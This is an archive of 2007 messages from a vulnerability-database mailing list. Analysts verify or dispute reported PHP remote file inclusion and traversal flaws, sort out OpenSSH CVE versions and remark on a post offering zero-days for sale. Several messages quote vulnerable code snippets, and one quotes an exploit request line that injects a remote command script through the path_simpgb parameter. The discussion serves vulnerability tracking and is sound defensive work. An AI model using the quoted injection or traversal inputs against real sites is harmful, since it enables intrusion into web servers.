<46451629.9080409@tenablesecurity.com> <814b9d50705111859y51bc32ccr1bddfd594f2a7867@mail.gmail.com> Message-ID: <464520BE.6070306@tenablesecurity.com> On 05/11/07 21:59, str0ke wrote: > I lacked testing his work on this one, on your test bed was magic quotes > = off? I get "Couldn't find a file : system/help/etcpasswd.txt" either way. George -- theall at tenablesecurity.com From str0ke at milw0rm.com Sat May 12 02:37:30 2007 From: str0ke at milw0rm.com (str0ke) Date: Fri, 11 May 2007 21:37:30 -0500 Subject: [VIM] Possibly Bogus: Seditio v121 (plug.php h) Remote File Disclosure Vulnerability In-Reply-To: <464520BE.6070306@tenablesecurity.com> References: <46451629.9080409@tenablesecurity.com> <814b9d50705111859y51bc32ccr1bddfd594f2a7867@mail.gmail.com> <464520BE.6070306@tenablesecurity.com> Message-ID: <814b9d50705111937u4d8e2ba9s584e5ef4ac816fd8@mail.gmail.com> Appreciate the info man, removing milw0rm 3904. /str0ke On 5/11/07, George A. Theall wrote: > On 05/11/07 21:59, str0ke wrote: > > > I lacked testing his work on this one, on your test bed was magic quotes > > = off? > > I get "Couldn't find a file : system/help/etcpasswd.txt" either way. > > George > -- > theall at tenablesecurity.com > From jericho at attrition.org Sun May 13 07:12:25 2007 From: jericho at attrition.org (security curmudgeon) Date: Sun, 13 May 2007 07:12:25 +0000 (UTC) Subject: [VIM] OMG VIM VULN Message-ID: [024] - Vim 7.1 by Bram (http://freshmeat.net/users/vimboss/) Sat, May 12th 2007 11:23 Text Editors Text Processing About: Vim is an almost fully-compatible version of the Unix editor Vi. Many new features have been added including multi-level undo, syntax highlighting, commandline history, online help, filename completion, and block operations. It is descended from the vi clone "stevie" and runs on many systems, including Unix, MS Windows, OS/2, Macintosh, VMS, and Amiga. Changes: This is a stable version. There are many bug fixes and updated runtime files. No amazing new features were added. Upgrading from a previous version is highly recommended: a few crashing bugs and a security issue were fixed. License: Free To Use But Restricted URL: http://freshmeat.net/projects/vim/ From coley at mitre.org Sun May 13 22:31:45 2007 From: coley at mitre.org (Steven M. Christey) Date: Sun, 13 May 2007 18:31:45 -0400 (EDT) Subject: [VIM] true: R2K Gallery LFI Message-ID: <200705132231.l4DMVjWT017848@faron.mitre.org> Researcher: Dj7xpl Ref: http://www.milw0rm.com/exploits/3902 Specified download is from February 2003. from galeria.php: if($lang2=="") //CHOOSE BETWEEN spanish, french or english Default english {$lang2="spanish";} else {} //PHP GALERY include ("lang/".$lang2.".lang"); - Steve From theall at tenablesecurity.com Mon May 14 01:44:33 2007 From: theall at tenablesecurity.com (George A. Theall) Date: Sun, 13 May 2007 21:44:33 -0400 Subject: [VIM] Dup: PHP FirstPost 0.1 (block.php Include) Remote File Inclusion Exploit Message-ID: <4647BF01.5020902@tenablesecurity.com> Milw0rm 3906 / Bugtraq 23947 seem to be a repeat of an earlier advisory from July 2005: http://archives.neohapsis.com/archives/bugtraq/2005-07/0409.html Both advisories cover the same version of the software (0.1, released back in 2000) and the same parameter / script. George -- theall at tenablesecurity.com From jericho at attrition.org Mon May 14 21:22:20 2007 From: jericho at attrition.org (security curmudgeon) Date: Mon, 14 May 2007 21:22:20 +0000 (UTC) Subject: [VIM] OpenSSH vulnerability affected/solution questions Message-ID: Sorting through the OpenSSH vulnerabilities for the past few years, there is a lot of confusion about versions affected and solutions. OpenSSH's security page [1] is not very complete and hasn't been updated since 2005/07/14 either. If anyone has a contact there let me know and i'll send all of this over when finished. Writing this for myself as much as anyone else. =) If anyone can fill in blanks or provide more information, that would be groovy. - jericho [1] http://www.openssh.org/security.html --- OpenSSH Privilege Separation LoginGraceTime DoS CVE-2004-2069 / OSVDB 16567 3.6.1p2 and 3.7.1p2 were tested and confirmed. a patch was offered by Darren Tucker, but there was no mention if it was added to the mainstream releases: http://marc.info/?l=openssh-unix-dev&m=107529205602320&w=2 -- OpenSSH scp/rcp Traversal Arbitrary File Overwrite CVE-2004-0175 / OSVDB 9550 most references deal with scp, the Mandriva advisory also mentions rcp in the rsh package. the mandriva advisory is asking for authentication now, so they changed their advisory scheme (again?). odds are these are two separate issues, but not sure until i can read the advisory. http://frontal1.mandriva.com/security/advisories?name=MDKSA-2005:100 anyway, ISS says 3.0p1 - 3.4 is affected, but upgrade to 3.8.1p1 to fix, suggesting 3.4 - 3.8.0 would be vuln? or perhaps the entry was created later and that was the current version, as CVE's wording suggests 3.4p1 fixes. I don't see any ack from OpenSSH or where the fix was announced, other than vendor specific distributions (RedHat, Juniper, et al) -- OpenSSH Default Configuration Anon SSH Service Port Bounce Issue CVE-2004-1653 / OSVDB 9562 Original disclosure (mail list) does not mention a version and original advisory link is dead. One of our manglers indicated 3.9 was vuln, and 4.0 was a fix but he did not include any reference (thus, the entry was not made public) to where he found that information. -- OpenSSH scp Command Line Filename Processing Command Injection CVE-2006-0225 / OSVDB 22692 vendor ack from changelog: Changelog: 20060131 - djm at cvs.openbsd.org 2006/01/31 10:19:02 [misc.c misc.h scp.c sftp.c] fix local arbitrary command execution vulnerability on local/local and remote/remote copies (CVE-2006-0225, bz #1094), patch by t8m AT centrum.cz, polished by dtucker@ and myself; ok markus@ solution: up to 4.3p1 -- OpenSSH with OpenPAM Connection Saturation Forked Process Saturation DoS CVE-2006-0883 / OSVDB 23797 CVE can add reference: http://bugzilla.mindrot.org/show_bug.cgi?id=839 >From that, affected version: 3.8.1p1 The changelog at the bottom of this bug report: 20040711 - (dtucker) [auth-pam.c] Check for zero from waitpid() too, which allows the monitor to properly clean up the PAM thread (Debian bug #252676). But this does not appear in the OpenSSH 4.6p1 Changelog file since it starts at 20050908. Checking the OpenSSH 3.9p1 Changelog shows this entry, so upgrading to 3.9p1 is the vendor verified fix. -- OpenSSH packet.c Invalid Protocol Sequence Remote DoS CVE-2006-4925 / OSVDB 29494 No obvious references to affected version. The Debian bugzilla shows a dev patching --- openssh-4.3p2/packet.c 2005-11-05 04:15:00.000000000 +0000 implying that 4.3p2 is vuln. goes on to say 4.3_p2-r3 in portage has the fix. i don't know if the Debian portage reflects the mainstream versions or not? Tavis replies that 4.3_p2-r5 was committed and fixes. i don't see reference to this in the OpenSSH Portable changelog. -- OpenSSH Username Password Complexity Timing Attack CVE-2006-5229 / OSVDB 32721 CVE sums up this very well: OpenSSH portable 4.1 on SUSE Linux, and possibly other platforms and versions, and possibly under limited configurations, allows remote attackers to determine valid usernames via timing discrepancies in which responses take longer for valid usernames than invalid ones, as demonstrated by sshtime. NOTE: as of 20061014, it appears that this issue is dependent on the use of manually-set passwords that causes delays when processing /etc/shadow due to an increased number of rounds. So 4.1 Portable is affected, but the last post in the thread suggests this appears only on SUSE since a key part of this is wether YAST set the password for example. Not sure if this is something farther reaching, or if SUSE would have to issue a platform specific patch and mainstream would ignore this. -- OpenSSH S/KEY Authentication Account Enumeration CVE-2007-2243 / OSVDB 34600 Original disclosure says 4.6 affected, recent issue so no word from OpenSSH that I can see yet. OpenBSD security page shows three entries on Apr 27, this disclosure on Apr 20. -- OpenSSH w/ OPIE Authentication Account Enumeration OSVDB 34601 In a follow-up to the S/KEY issue, someone mentioned that OPIE exhibits the same behavior. There were relatively few details and it does not specify a version affected or show an example. From coley at mitre.org Mon May 14 22:13:43 2007 From: coley at mitre.org (Steven M. Christey) Date: Mon, 14 May 2007 18:13:43 -0400 (EDT) Subject: [VIM] shared code incolving pcltar.lib.php/g_pcltar_lib_dir RFI Message-ID: <200705142213.l4EMDhgv014795@faron.mitre.org> Various disclosures for separate products have involved RFI in a file named "pcltar.lib.php" (or pcltar.php) using $g_pcltar_lib_dir. CVE analysis has shown that this stems from the Tar module 1.3 for Vincent Blavet PhpConcept Library, called PclTar. The current version (dated 2003), 1.3.1, also has the problem. Note: pcltrace.lib.php doesn't appear to be affected, as claimed for the CJG EXPLORER disclosure. Affected software is at least: (1) Joomla! 1.5.0 Beta (2) N/X Web Content Management System (WCMS) 4.5, (3) CJG EXPLORER PRO 3.3 and probably (4) MiraksGalerie 2.62, whose disclosure had other distinct vectors that seemed unrelated to PclTar (CVE-2006-2922). I'm MERGING all these into CVE-2007-2199, see below. You can get the original module, 1.3.1, here: http://www.phpconcept.net/appli-download.php And lib/pcltar.lib.php3 in the official distribution says: // PhpConcept Library - Tar Module 1.3.1 ... // ----- Configuration variable // Theses values may be changed by the user of PclTar library if (!isset($g_pcltar_lib_dir)) $g_pcltar_lib_dir = "lib"; ... if (!defined("PCLERROR_LIB")) { include($g_pcltar_lib_dir."/pclerror.lib.".$g_pcltar_extension); } if (!defined("PCLTRACE_LIB")) { include($g_pcltar_lib_dir."/pcltrace.lib.".$g_pcltar_extension); } NOTE: the readme.txt for this module makes it clear that g_pcltar_lib_dir needs to be set, but this is more difficult to evaluate when other software uses this module. In the CJG EXPLORER disclosure (milw0rm 3915), the researcher claims: File : /pcltrace.lib.php include($g_pcltar_lib_dir."/pclerror.lib.php"); HOWEVER: 1) There is NO include() call in pcltrace.lib.php in the official distribution for 1.3.1, neither is it in 1.0. 2) Neither is there such a call in GJG EXPLORER. So, I'd say that CVE disputes the pcltrace.lib.php claim but verifies the pcltar.lib.php claim. - Steve From theall at tenablesecurity.com Tue May 15 00:37:17 2007 From: theall at tenablesecurity.com (George A. Theall) Date: Mon, 14 May 2007 20:37:17 -0400 Subject: [VIM] shared code incolving pcltar.lib.php/g_pcltar_lib_dir RFI In-Reply-To: <200705142213.l4EMDhgv014795@faron.mitre.org> References: <200705142213.l4EMDhgv014795@faron.mitre.org> Message-ID: <464900BD.4020402@tenablesecurity.com> On 05/14/07 18:13, Steven M. Christey wrote: > Various disclosures for separate products have involved RFI in a file > named "pcltar.lib.php" (or pcltar.php) using $g_pcltar_lib_dir. CVE > analysis has shown that this stems from the Tar module 1.3 for Vincent > Blavet PhpConcept Library, called PclTar. The current version (dated > 2003), 1.3.1, also has the problem. Also affected is ZPanel (2.0 as well as 2.5 beta 11, both of which are current). The affected file is in the subdirectory 'filemanager/includes'. I also found it used by Mambo (I looked at 4.5.1 - 4.6.1), Joomla (1.0.0 and up), and e107 (0.7.2 - 0.7.5), but modified in such a way as to prevent calling the affected file directly. The only exception was the previously-mentioned Joomla 1.5 beta. George -- theall at tenablesecurity.com From jericho at attrition.org Tue May 15 01:11:41 2007 From: jericho at attrition.org (security curmudgeon) Date: Tue, 15 May 2007 01:11:41 +0000 (UTC) Subject: [VIM] ProFTPD and CVE-2003-0831 Message-ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2003-0831 ProFTPD 1.2.7 through 1.2.9rc2 does not properly translate newline characters when transferring files in ASCII mode, which allows remote attackers to execute arbitrary code via a buffer overflow using certain files. This seems like: http://bugs.proftpd.org/show_bug.cgi?id=2147 If so, bottom of that bug report says it is patched in 1.2.9rc2, which would contradict the ISS report. The report eventually says it isn't an overflow, rather a NULL pointer dereference though. The person who found it does say "It may be exploitable." The changelog doesn't have anything that stands out to me corresponding with CVE-2003-0831. Thoughts? From jericho at attrition.org Wed May 16 03:18:02 2007 From: jericho at attrition.org (security curmudgeon) Date: Wed, 16 May 2007 03:18:02 +0000 (UTC) Subject: [VIM] CVE-2007-1375 additional vector? Message-ID: http://cve.mitre.org/cgi-bin/cvename.cgi?name=2007-1375 Integer overflow in the substr_compare function in PHP 5.2.1 and earlier allows context-dependent attackers to read sensitive memory via a large value in the length argument, a different vulnerability than CVE-2006-1991. -- This is based on MOPB-14-2007 which covers substr_compare. The PHP changelog however, says: - Fixed substr_compare and substr_count information leak (MOPB-14 by Stefan Esser) (Stas, Ilia) So the mention of substr_count is new and would be a new vector. From coley at mitre.org Mon May 21 23:03:47 2007 From: coley at mitre.org (Steven M. Christey) Date: Mon, 21 May 2007 19:03:47 -0400 (EDT) Subject: [VIM] HP:HPSBTU02209 is probably for timing attacks Message-ID: <200705212303.l4LN3lIk024985@faron.mitre.org> HP:HPSBTU02209 is probably for timing attacks, which would also mean that it's not related to CVE-2007-2243. HPSBTU02209 says "The vulnerability could be exploited remotely by an unauthorized user to identify valid users... This patch adds a new keyword to the sshd2_config configuration file for the sshd2 daemon. The new keyword, AuthInteractiveFailureRandomTimeout , adds a random delay to the existing AuthInteractiveFailureTimeout delay." The use of random delays is a common defense against timing attacks, which themselves are sometimes useful for username enumeration. - Steve From coley at mitre.org Tue May 22 18:48:17 2007 From: coley at mitre.org (Steven M. Christey) Date: Tue, 22 May 2007 14:48:17 -0400 (EDT) Subject: [VIM] true (with errors): ol'bookmarks RFI Message-ID: <200705221848.l4MImHLv000852@faron.mitre.org> Ref: http://www.milw0rm.com/exploits/3962 Researcher: ThE TiGeR Note: the researcher lists some pathnames as "theme/" but there is no such directory; the researcher meant "themes/" Version 0.7.4 is from February 2003. Many of the referenced files start with lines that are similar to this: include("$root/themes/$theme.conf"); ... but I only double-checked about 6 of 'em. - Steve From theall at tenablesecurity.com Thu May 24 10:46:18 2007 From: theall at tenablesecurity.com (George A. Theall) Date: Thu, 24 May 2007 06:46:18 -0400 Subject: [VIM] Question about CVE-2007-2274 Message-ID: <46556CFA.6010105@tenablesecurity.com> Anyone know if CVE-2007-2274 / milw0rm 3784 refer to the same underlying flaw as the buffer overflow that Opera recently fixed with the release of 9.21 ()? George -- theall at tenablesecurity.com From heinbockel at mitre.org Thu May 24 12:21:26 2007 From: heinbockel at mitre.org (Heinbockel, Bill) Date: Thu, 24 May 2007 08:21:26 -0400 Subject: [VIM] Question about CVE-2007-2274 In-Reply-To: <46556CFA.6010105@tenablesecurity.com> References: <46556CFA.6010105@tenablesecurity.com> Message-ID: <224FBC6B814DBD4E9B9E293BE33A10DC01DA6A32@IMCSRV5.MITRE.ORG> It is unclear from the associated iDefense advisory: http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=53 5 CVE has assigned CVE-2007-2809 for the iDefense torrent issue. As usual, the descriptions will be updated if any new information becomes available. I guess some clarification from Opera or iDefense would be helpful. ======================================= CVE-2007-2809 Buffer overflow in the transfer manager in Opera before 9.21 for Windows allows user-assisted remote attackers to execute arbitrary code via a crafted torrent file. NOTE: due to the lack of details, it is not clear if this is the same issue as CVE-2007-2274. William Heinbockel Infosec Engineer, Sr. The MITRE Corporation 202 Burlington Rd. MS S145 Bedford, MA 01730 heinbockel at mitre.org 781-271-2615 >-----Original Message----- >From: vim-bounces at attrition.org >[mailto:vim-bounces at attrition.org] On Behalf Of George A. Theall >Sent: Thursday, 24 May, 2007 06:46 >To: Vulnerability Information Managers >Subject: [VIM] Question about CVE-2007-2274 > >Anyone know if CVE-2007-2274 / milw0rm 3784 refer to the same >underlying >flaw as the buffer overflow that Opera recently fixed with the release >of 9.21 ()? > >George >-- >theall at tenablesecurity.com > From coley at mitre.org Thu May 24 18:01:01 2007 From: coley at mitre.org (Steven M. Christey) Date: Thu, 24 May 2007 14:01:01 -0400 (EDT) Subject: [VIM] probably true: SimpGB RFI, likely dynamic variable evaluation Message-ID: <200705241801.l4OI11ad018282@faron.mitre.org> Researcher: the_Edit0r Ref: BUGTRAQ SimpGB v1.46.0 Remote File Include Exploit http://www.boesch-it.de/progsys/download.php?filenr=9&lang=en First glance at guestbook.php shows: require_once('./config.php'); and config.php (distributed as config.dist.php) has: $path_simpgb = getenv("DOCUMENT_ROOT")."/simpgb"; but then, back in guestbook.php, we have: require($path_simpgb.'/includes/global.inc'); whose name, history has demonstrated, suggests the possibility of dynamic variable evaluation. Sure enough, includes/global.inc has: while( list($var, $param) = @each($_GET) ) { if(!isset($$var)) { if((substr($var,0,4)!="url_") && (substr($var,0,5)!="path_")) { $$var=$_GET[$var]; if(!get_magic_quotes_gpc()) $$var=addslashes($$var); } $$var, total awesomeness. But wait! This is in a nested include. Where does the RFI come in, utilizing $path_simpgb? Ah, at the end of global.inc, we have: include($path_simpgb.'/includes/timezones.inc'); I've only done source analysis though, and this is nested deep enough that I'm not 100% confident in my conclusions. - Steve From str0ke at milw0rm.com Thu May 24 19:03:57 2007 From: str0ke at milw0rm.com (str0ke) Date: Thu, 24 May 2007 14:03:57 -0500 Subject: [VIM] probably true: SimpGB RFI, likely dynamic variable evaluation In-Reply-To: <200705241801.l4OI11ad018282@faron.mitre.org> References: <200705241801.l4OI11ad018282@faron.mitre.org> Message-ID: <814b9d50705241203j57cc5f90l9bc976861a6d6d45@mail.gmail.com> exploit code ####################### $req = HTTP::Request->new(GET =>$Path.'guestbook.php?path_simpgb='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n"; ####################### by default the config.php script doesn't initialize the no_rgcheck variable it just has it commented out, pretty easy to bypass this if register globals = on. ######################### if(!$no_rgcheck) { $rg_ini=@ini_get('register_globals'); if($rg_ini || (strtolower($rg_ini)=='on')) die("register_globals should be set to off for security reasons"); } # This shouldn't overwrite path_ or url_ variables correct? while( list($var, $param) = @each($_GET) ) { if(!isset($$var)) { if((substr($var,0,4)!="url_") && (substr($var,0,5)!="path_")) { $$var=$_GET[$var]; if(!get_magic_quotes_gpc()) $$var=addslashes($$var); } } } After installing the app it doesn't seem vulnerable. With or without the rg check. /str0ke From coley at linus.mitre.org Thu May 24 21:42:58 2007 From: coley at linus.mitre.org (Steven M. Christey) Date: Thu, 24 May 2007 17:42:58 -0400 (EDT) Subject: [VIM] probably true: SimpGB RFI, likely dynamic variable evaluation In-Reply-To: <814b9d50705241203j57cc5f90l9bc976861a6d6d45@mail.gmail.com> References: <200705241801.l4OI11ad018282@faron.mitre.org> <814b9d50705241203j57cc5f90l9bc976861a6d6d45@mail.gmail.com> Message-ID: On Thu, 24 May 2007, str0ke wrote: > # This shouldn't overwrite path_ or url_ variables correct? d'oh! I blew right by that one, forgetting that it affects the actual variable in question :) This particular piece of code still gives me a queasy feeling, though. - Steve From str0ke at milw0rm.com Thu May 24 21:45:21 2007 From: str0ke at milw0rm.com (str0ke) Date: Thu, 24 May 2007 16:45:21 -0500 Subject: [VIM] probably true: SimpGB RFI, likely dynamic variable evaluation In-Reply-To: References: <200705241801.l4OI11ad018282@faron.mitre.org> <814b9d50705241203j57cc5f90l9bc976861a6d6d45@mail.gmail.com> Message-ID: <814b9d50705241445j570510c3t5b04763b00cd79d3@mail.gmail.com> On 5/24/07, Steven M. Christey wrote: > > On Thu, 24 May 2007, str0ke wrote: > > > # This shouldn't overwrite path_ or url_ variables correct? > > d'oh! I blew right by that one, forgetting that it affects the actual > variable in question :) This particular piece of code still gives me a > queasy feeling, though. You should try installing it, after installing the database the first error you receive is your current database is not current?????? /str0ke From jericho at attrition.org Sat May 26 04:43:16 2007 From: jericho at attrition.org (security curmudgeon) Date: Sat, 26 May 2007 04:43:16 +0000 (UTC) Subject: [VIM] Question about CVE-2007-2274 In-Reply-To: <224FBC6B814DBD4E9B9E293BE33A10DC01DA6A32@IMCSRV5.MITRE.ORG> References: <46556CFA.6010105@tenablesecurity.com> <224FBC6B814DBD4E9B9E293BE33A10DC01DA6A32@IMCSRV5.MITRE.ORG> Message-ID: : It is unclear from the associated iDefense advisory: : http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=53 : 5 : : CVE has assigned CVE-2007-2809 for the iDefense torrent issue. As usual, : the descriptions will be updated if any new information becomes : available. I guess some clarification from Opera or iDefense would be : helpful. Good luck. Opera's web page offers no help on figuring out how to contact them to find out something like this. They seem to want to railroad you into a bug report or something equally as useless from what I can tell. There is no clear security contact. From jericho at attrition.org Wed May 30 08:43:27 2007 From: jericho at attrition.org (security curmudgeon) Date: Wed, 30 May 2007 08:43:27 +0000 (UTC) Subject: [VIM] Site specific XSS archive Message-ID: http://xssed.com/archive/special=1/ Search for 'security' as an example. From coley at mitre.org Wed May 30 18:35:35 2007 From: coley at mitre.org (Steven M. Christey) Date: Wed, 30 May 2007 14:35:35 -0400 (EDT) Subject: [VIM] true: Vistered Little 1.6a directory traversal Message-ID: <200705301835.l4UIZZkd029452@faron.mitre.org> Researcher: Mahmood_ali Ref: http://www.milw0rm.com/exploits/3999 from common.css.php: if( isset( $_REQUEST[ 'skin' ] ) ) { $skin = $_REQUEST[ 'skin' ]; } ... @readfile( $skin . '.css' ); Presumably, the exploit URL given in the milw0rm item would need a trailing %00 byte. - Steve From str0ke at milw0rm.com Wed May 30 18:36:44 2007 From: str0ke at milw0rm.com (str0ke) Date: Wed, 30 May 2007 13:36:44 -0500 Subject: [VIM] true: Vistered Little 1.6a directory traversal In-Reply-To: <200705301835.l4UIZZkd029452@faron.mitre.org> References: <200705301835.l4UIZZkd029452@faron.mitre.org> Message-ID: <814b9d50705301136p10212fcdn74db988259a1c305@mail.gmail.com> Steven, Added the %00 at the end, thanks for the catch. /str0ke On 5/30/07, Steven M. Christey wrote: > > Researcher: Mahmood_ali > Ref: http://www.milw0rm.com/exploits/3999 > > from common.css.php: > > if( isset( $_REQUEST[ 'skin' ] ) ) > { > $skin = $_REQUEST[ 'skin' ]; > } > ... > @readfile( $skin . '.css' ); > > > Presumably, the exploit URL given in the milw0rm item would need a > trailing %00 byte. > > - Steve > From jericho at attrition.org Thu May 31 08:57:59 2007 From: jericho at attrition.org (security curmudgeon) Date: Thu, 31 May 2007 08:57:59 +0000 (UTC) Subject: [VIM] 0day to sell (fwd) Message-ID: Notice the X-Originating-IP: forced ~$ whois 192.6.111.74 OrgName: Hewlett-Packard Company OrgID: HP Address: 3000 Hanover Street City: Palo Alto StateProv: CA PostalCode: 94304 Country: US NetRange: 192.6.22.0 - 192.6.142.255 CIDR: 192.6.22.0/23, 192.6.24.0/21, 192.6.32.0/19, 192.6.64.0/18, 192.6.128.0/21, 192.6.136.0/22, 192.6.140.0/23, 192.6.142.0/24 NetName: HP-3 NetHandle: NET-192-6-22-0-1 Parent: NET-192-0-0-0-0 NetType: Direct Allocation NameServer: PALOALTO.AMERICAS.HP.NET NameServer: ATLANTA.AMERICAS.HP.NET Comment: RegDate: Updated: 2003-01-23 RAbuseHandle: NAR-ARIN RAbuseName: Network Abuse Response RAbusePhone: +1-650-857-5120 RAbuseEmail: abuse at hp.com RTechHandle: AI2-ORG-ARIN RTechName: Hewlett Packard Company RTechPhone: +1-800-524-7638 RTechEmail: ipaddr at hp.com OrgTechHandle: HH15-ORG-ARIN OrgTechName: Hewlett-Packard Company OrgTechPhone: +1-800-524-7638 OrgTechEmail: hostmaster at hp.com ---------- Forwarded message ---------- From: toto toto X-Originating-IP: 192.6.111.74 To: full-disclosure at lists.grok.org.uk Date: Thu, 31 May 2007 16:55:00 +0800 Subject: [Full-disclosure] 0day to sell hi, some 0day to sell : sap, excel, linux and many other (0day vulns and/or exploits too) contact by mail regards, t0t0 t0t0 = Cummins Natural Gas Generators Cummins Power Generation designs, manufactures and maintains power generation equipment, standby and prime power systems, diesel and natural gas generators and switch gear. http://a8-asy.a8ww.net/a8-ads/adftrclick?redirectid=411dac8e5815b1f82b5855882b63786f -- Powered by Outblaze _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/ From steve at vitriol.net Thu May 31 10:25:42 2007 From: steve at vitriol.net (Steve Tornio) Date: Thu, 31 May 2007 05:25:42 -0500 Subject: [VIM] 0day to sell (fwd) In-Reply-To: References: Message-ID: <465EA2A6.80406@vitriol.net> security curmudgeon wrote: > > > Notice the X-Originating-IP: > > forced ~$ whois 192.6.111.74 > Looks like HP may need to do an audit of their proxy settings. [rogue:~] steve% host 192.6.111.74 74.111.6.192.in-addr.arpa domain name pointer grewebdproxy2.net.external.hp.com. > OrgName: Hewlett-Packard Company > OrgID: HP > Address: 3000 Hanover Street > City: Palo Alto > StateProv: CA > PostalCode: 94304 > Country: US > > NetRange: 192.6.22.0 - 192.6.142.255 > CIDR: 192.6.22.0/23, 192.6.24.0/21, 192.6.32.0/19, 192.6.64.0/18, > 192.6.128.0/21, 192.6.136.0/22, 192.6.140.0/23, 192.6.142.0/24 > NetName: HP-3 > NetHandle: NET-192-6-22-0-1 > Parent: NET-192-0-0-0-0 > NetType: Direct Allocation > NameServer: PALOALTO.AMERICAS.HP.NET > NameServer: ATLANTA.AMERICAS.HP.NET > Comment: > RegDate: > Updated: 2003-01-23 > > RAbuseHandle: NAR-ARIN > RAbuseName: Network Abuse Response > RAbusePhone: +1-650-857-5120 > RAbuseEmail: abuse at hp.com > > RTechHandle: AI2-ORG-ARIN > RTechName: Hewlett Packard Company > RTechPhone: +1-800-524-7638 > RTechEmail: ipaddr at hp.com > > OrgTechHandle: HH15-ORG-ARIN > OrgTechName: Hewlett-Packard Company > OrgTechPhone: +1-800-524-7638 > OrgTechEmail: hostmaster at hp.com > > > > ---------- Forwarded message ---------- > From: toto toto > X-Originating-IP: 192.6.111.74 > To: full-disclosure at lists.grok.org.uk > Date: Thu, 31 May 2007 16:55:00 +0800 > Subject: [Full-disclosure] 0day to sell > > hi, > > some 0day to sell : sap, excel, linux and many other (0day vulns and/or > exploits too) > > contact by mail > > > regards, > > > t0t0 t0t0 > > = > Cummins Natural Gas Generators > Cummins Power Generation designs, manufactures and maintains power > generation equipment, standby and prime power systems, diesel and > natural gas generators and switch gear. > http://a8-asy.a8ww.net/a8-ads/adftrclick?redirectid=411dac8e5815b1f82b5855882b63786f > > > From theall at tenablesecurity.com Thu May 31 14:26:27 2007 From: theall at tenablesecurity.com (George A. Theall) Date: Thu, 31 May 2007 10:26:27 -0400 Subject: [VIM] Coppermine Photo Gallery RFI Issues Message-ID: <465EDB13.7050406@tenablesecurity.com> Last march, Hasadya Raed reported some remote file include issues in Coppermine Photo Gallery: http://archives.neohapsis.com/archives/bugtraq/2007-03/0068.html http://archives.neohapsis.com/archives/bugtraq/2007-03/0309.html And the issues made it into various VDBs (eg, CVE-2007-1414, OSVDB 35065-35070). I've only checked a couple of the issues, but none look valid. For example, looking at both 1.4.10 (which is and was current in March) as well as 1.4.3, I see: o Many scripts call near their start include/init.inc.php, which sanitizes parameters and unregisters any global variables that might have been registered. o image_processor.php uses $cmd in various calls to exec(), not include / require functions, but there's no way for an attacker to control it, at least by a 'cmd' parameter. o include/functions.php contains only function definitions. o include/picmgmt.inc.php and include/plugin_api.inc.php can't be called directly. Has anyone actually been able to verify any of the vulnerabilites in any version of the software? Or is this just another case of grep-n-gripe? George -- theall at tenablesecurity.com From coley at mitre.org Thu May 31 21:58:10 2007 From: coley at mitre.org (Steven M. Christey) Date: Thu, 31 May 2007 17:58:10 -0400 (EDT) Subject: [VIM] wrong but true: "webCMS" database disclosure is actually for wabCMS Message-ID: <200705312158.l4VLwAf6001127@faron.mitre.org> "Researcher": the_Edit0r Reference: BUGTRAQ "webCMS_1.00 Database Disclosure Vulnerabilitiy" the_Edit0r claims the issue is for "webCMS", but that product is offered by TYPOlight, is written in PHP, and has no .mdb in sight. On the other hand, "wabCMS" is offered on the www.thex-machine.com site as mentioned by the_Edit0r, and has a .mdb file "wabcmsn.mdb" (not webcmsn.mdb). How or why "wab" got replaced by "web" is unknown. SECUNIA:25453 was for wabCMS, and the original CVE analyst noticed the discrepancy, which led to this analysis. - Steve